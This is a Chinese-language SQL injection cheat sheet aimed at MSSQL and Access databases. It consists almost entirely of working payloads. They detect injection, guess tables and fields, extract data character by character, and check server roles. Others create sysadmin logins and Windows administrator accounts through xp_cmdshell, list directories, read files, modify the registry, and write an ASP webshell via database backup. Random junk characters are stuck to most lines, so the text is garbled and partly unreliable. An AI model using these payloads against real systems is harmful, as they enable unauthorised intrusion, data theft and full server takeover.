1.判断是否有注入;and 1=1 ;and 1=2 6|]e}I@<2
2.初步判断是否是mssql ;and user>0 5U<;6s
nSB@xP#&
3.注入参数是字符'and [查询条件] and ''=' JI|MR#_u
td(4Fw||1y
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 9NausE40
dR
>hb*kJ
5.判断数据库系统 L'<.#(|
GaLQ/V2R
;and (select count(*) from sysobjects)>0 mssql I'%ASZ
9M1 UkS$`@
;and (select count(*) from msysobjects)>0 access Mt%=z9OLq9
lAo S 9w
++Fk8R/$U[
nx@h
6.猜数据库 ;and (select Count(*) from [数据库名])>0 p]J0A ^VV
?eri6D,86w
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 gR@,"6b3
yPVK>em5
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 #]lK! :
]%I|C++0
9.(1)猜字段的ascii值(access) t(=Z@9)]4F
lIgAc!q(
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 7aJ:kumDZ
[M&.'X
(2)猜字段的ascii值(mssql) Rge\8H/z
=x}p>#o,J
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Qi\"b
)UAkg
10.测试权限结构(mssql) ZA'Qw2fF0
ZMmf!cKY:'
"E%3q 3|"l
6G]hsgro
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- c^`(5}39v
w4j,t
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- `E-cf 7%
R6-Z]Hu
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- FmC
[u
\Ea(f**2B
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- T/TMi&:?.
i[m-&
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- }g_\?z3gt
i=X
B0-
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- |J^$3RX
s!WI:E7
;and 1=(select IS_MEMBER('db_owner'));-- y\c-I!6>26
<F-W fR
C,nU.0
W,ik ;P\
11.添加mssql和系统的帐户 9\KMU@Ne
`nEe-w^9)I
;exec master.dbo.sp_addlogin username;-- |ZJ<N\\h-
;exec master.dbo.sp_password null,username,password;-- ?qR11A};tG
'uU{.bq
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 4-Cca
`rZS\A
;exec master.dbo.xp_cmdshell 'net user username password IHvrx:7
CyD)=e{
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 5nv1%48Ri
fm&pxQjg
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6;#Rd|
v `7` '
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- N_| '`]D
)@a_|q@V
rxQ&N[r2
]]8^j='P'
12.(1)遍历目录 ##|]el%Y
&~#y-o"
;create table dirs(paths varchar(100), id int) o6A1;e
iBaz1pDc
;insert dirs exec master.dbo.xp_dirtree 'c:\' &20}64eW%
X^9eCj;c
;and (select top 1 paths from dirs)>0 &M*f4PeXb
^Bu55q
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) y sFp`
[WW ~SOJe
.ly K
,p
ZOY zCc(d
(2)遍历目录
w[Q)b()
(V9 ;
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- b?nORWjC
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 D=:O^<
j/uu&\e
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2^4OaHY88
vmIt!x
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Rxk0^d:sNi
i;mA|
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 C}Ucyzfr,p
.+$ox-EK8
J `
KyS
^Rc*X'Iz(!
13.mssql中的存储过程 %)p?&_
SCo; Ek
xp_regenumvalues 注册表根键, 子键 (.N!(;G
7j8Ou3
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 f&NXWo/
.vWwYG
xp_regread 根键,子键,键值名 c[X:vDUX
vx}W.6C}
;exec xp_regread *5d6Q
W?X3 :1c9:
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 !?5YXI,
M}x]\#MMY
xp_regwrite 根键,子键, 值名, 值类型, 值 @"__2\ 0
R(on[g_1
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ,f^ICM
rWNywxnT
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 osZ]R
5`p>BJ+n
xp_regdeletevalue 根键,子键,值名 f_'8l2jK1i
HMqR%A
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ^wxpinJ>
V?&P).5)
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 g[$4a4X
G-eSHv
Er@OmNT
Ri;_
8v[H|
14.mssql的backup创建webshell Hp5.jor(k
3oBR
use model a9y+FCA
t$g@+1p4
create table cmd(str image); :s>x~t8g#n
C@{-$z)
insert into cmd(str) values (''); ]8CgHT[^7
qrufnu5cC
backup database model to disk='c:\l.asp'; HMmB90P`
QJ2D C
':!aFMj^
e-*-91D
15.mssql内置函数 do:IkjU~
?}"39n
;and (select @@version)>0 获得Windows的版本号 'wni.E&
h&2l0|8k
;and user_name()='dbo' 判断当前系统的连接用户是不是sa FwUgMR*xq
%uDH_J|^
;and (select user_name())>0 爆当前系统的连接用户 Ticx]_+~T
P7\?WN$p
;and (select db_name())>0 得到当前连接的数据库 wEC,Mbn
b)@rp
ziC%Q8
;b!qt-;.<
16.简洁的webshell V6Y0#sTU
%"^8$A?>,k
use model c3.;o
xSq{pxX
create table cmd(str image); Vrs?VA`v$
oS^KC}X
insert into cmd(str) values (''); %rJ'DPs
b_^y
Ke^W
backup database model to disk='g:\wwwtest\l.asp';